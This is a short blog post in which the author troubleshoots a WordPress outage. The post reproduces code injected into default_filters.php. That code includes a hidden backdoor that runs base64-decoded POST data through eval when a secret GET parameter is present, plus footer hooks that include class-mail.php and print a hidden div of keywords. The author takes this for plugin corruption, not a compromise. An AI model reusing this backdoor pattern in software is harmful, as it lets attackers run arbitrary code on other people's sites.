Drive Through…

This blog appeared to be down for some time today. It appeared that somehow the default_filters.php file in Wordpress got some corruption. Replacing it with the default file from a Wordpress 2.3.1 download solved the problem. Google hasn’t thrown up anything that throws any light on the problem. The corrupted file had a timestamp of today and contained some additional stuff over and above the default file content, such as:

This was declared at the top of he file:

if($_GET['0cc9b18defb8385c']==”1a84882ba2eb254c”){ eval(base64_decode($_POST['file'])); exit; }

Then there was this add_action function:

add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
@include('./wp-includes/class-mail.php');
if(sizeof($wparr)>0){
shuffle($wparr);
echo "!div id=\"goro\"!";
foreach($wparr as $k=>$v){
echo "“.ucwords($v['key']).”\n”;
if($i++==$inum) break;
}
echo “!/div!”.$_footer;
}
}

And this at the bottom:

add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
@include('./wp-includes/class-mail.php');
if(sizeof($wparr)>0){
echo "!div id=\"goro\"!";
foreach($wparr as $k=>$v){
echo "“.ucwords($v['key']).”\n”;
if($i++==$inum) break;
}
echo “!/div!”.$_footer;
}
}

(N.B. !div! is an HTML DIV tag but this causes problems if I embed it in the post)

Which is obviouly trying to declare the same function ‘wpc7c16b8466d864eeefd20050625c7775′ twice (which the error message identified) I have no idea what was inserting this code, so I’ve left it all out for the time being. I suspect it may be a badly behaving plugin, so apologies if some aspect of the blog doesn’t work correctly. If anybody has any ideas I’d love to hear them.